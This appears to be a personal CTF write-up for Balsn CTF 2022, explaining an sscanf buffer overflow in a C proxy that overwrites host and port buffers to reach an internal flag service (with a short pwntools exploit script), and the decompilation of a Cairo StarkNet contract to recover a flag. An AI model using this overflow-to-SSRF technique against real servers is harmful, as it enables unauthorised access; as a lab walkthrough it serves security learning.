Balsn CTF 2022 Writeup
I played balsnCTF last week and solve several challenge, in this post I will only cover Pwn and smartcontract challenge
List Challenge:
- Flag Market 1
- Cairo Reverse
PWN
SmartContract
Flag Market 1
Do you love flags? Try to buy some! nc flag-market-us.balsnctf.com 19091 or nc flag-market-sin.balsnctf.com 19091 or nc flag-market-uk.balsnctf.com 19091 Note: Distributed file is in challenge Flag Market 1 https://balsnctf-challenges-2022.s3.amazonaws.com/flag_market_1/234b79b0adee52c9402019214038dce9.zip
Identify The Vulnerability
We were given several files, from docker file to source code and a Makefile
first I started check the flag_market.c
which I found a buffer overflow vulnerability on connection_handler
void connection_handler(int sock_fd)
{
char request[MAX_REQ_BUF] = {};
char method[MAX_BUF] = {};
char path[MAX_BUF] = {};
char port[MAX_BUF] = {};
char host[MAX_BUF] = {};
size_t n = 0;
size_t reqLen = 0;
connection_sock = sock_fd;
signal(SIGALRM, exception_handler);
signal(SIGABRT, exception_handler);
alarm(TIMEOUT);
snprintf(host, MAX_BUF, "%s", BK_HOST);
snprintf(port, MAX_BUF, "%d", BK_PORT);
reqLen = read_input(sock_fd, request, MAX_REQ_BUF);
n = sscanf(request, "%s /%s HTTP/1.1", method, path);
if (n != 2)
snprintf(path, MAX_BUF, "500");
route(sock_fd, host, port, method, path, reqLen, request);
close(sock_fd);
exit(0);
}
the sscanf()
can trigger buffer overflow since the buffer size of request
is larger than method
and path
buffer, and there’s no check or limitation so all the data from request
will copied to method
and path
buffer
#define MAX_BUF 384
#define MAX_REQ_BUF 1024
in this situation we can overflow the buffer and overwrite the host
and port
which can lead to ssrf vulnerability.
next, I found that our goal is to access webservice on port 31337
service backend-flag1
{
disable = no
type = UNLISTED
wait = no
server = /backend/run_flag1.sh
socket_type = stream
protocol = tcp
user = backend
port = 31337
flags = IPv4 REUSE
per_source = 5
rlimit_cpu = 3
rlimit_as = 64M
nice = 18
}
which allow us to read our flag
#!/bin/bash
echo $FLAG1
Setup debugging environment
in order to debug the binary, I edit a few things on docker-compose-chal.yml
version: "3.5"
services:
flag_market:
build:
context: ./
dockerfile: flag_market.Dockerfile
ports:
- "${CHAL_PORT}:19091/tcp"
networks:
- flag_market_network
security_opt: # start changed line
- seccomp:unconfined #
cap_add: #
- SYS_PTRACE # end of changed line
networks:
flag_market_network:
external: true
# CHAL_PORT=13337 docker-compose -f ./docker-compose-chal.yml -p flag_market_13337 up -d
next, run deploy.sh
to install and deploy the challenge on local machine.
after deploy.sh
executed we should have a service running on the port 13337
now, we need to install gdb on the docker container by running these command
sudo docker exec -it --workdir /root --user root flag_market_flag_market_1 bash
apt install gdb
so we can debug the binary on the docker it self by attaching the PID process using gdb
now we can set breakpoint b* route+1152
so we can determine the offset to overwrite the port and host
after setting up the breakpoint, we can use pattern create
from gdb-gef to determine how long exactly to overwrite the port
buffer and allow us to perform ssrf via buffer overflow
as you can see from the screenshot above, we can overwrite the port
buffer using 768 byte padding
and overwrite it with 31337
so we can access internal website. here is my exploit to perform ssrf via buffer overflow
from pwn import *
r = remote("localhost",13337)
def solve_flag1():
off2setPort = 768
p = "A" * off2setPort
p += "31337"
r.sendline(p)
r.interactive()
solve_flag1()
Cairo Reverse
Simple cairo reverse starknet-compile 0.9.1 https://balsnctf-challenges-2022.s3.amazonaws.com/cairo-reverse/1912abefd6b99c40e35a2bdaaa6f7fb2.zip Author: ysc
Analysis the smartcontract file
after analysis I found that we have to reveal the censored value from contract.cairo file
# Declare this file as a StarkNet contract.
%lang starknet
from starkware.cairo.common.cairo_builtins import HashBuiltin
@view
func get_flag{
syscall_ptr : felt*,
pedersen_ptr : HashBuiltin*,
range_check_ptr,
}(t:felt) -> (res : felt):
if t == /* CENSORED */:
return (res=0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + t*t)
else:
return(res=0)
end
end
I use thoth to decompile the compiled json file, Thoth (pronounced “toss”) is a Cairo/Starknet analyzer, disassembler & decompiler written in Python 3. Thoth’s features also include the generation of the call graph and control-flow graph (CFG) of a given Cairo/Starknet compilation artifact. you can install thoth by running these command
sudo apt install graphviz
git clone https://github.com/FuzzingLabs/thoth && cd thoth
pip install .
thoth -h
after analysis the cairo bytecode and reading the get_flag()
function, I found the secret value
now we can replicate the smartcontract source code using python to get the flag
>>> hex(0x42414c534e7b6f032fa620b5c520ff47733c3723ebc79890c26af4 + 0x1d6e61c2969f782ede8c3 * 0x1d6e61c2969f782ede8c3)
'0x42414c534e7b726561645f646174615f66726f6d5f636169726f7d'
>>> print(bytes.fromhex('42414c534e7b726561645f646174615f66726f6d5f636169726f7d').decode('utf-8'))
BALSN{read_data_from_cairo}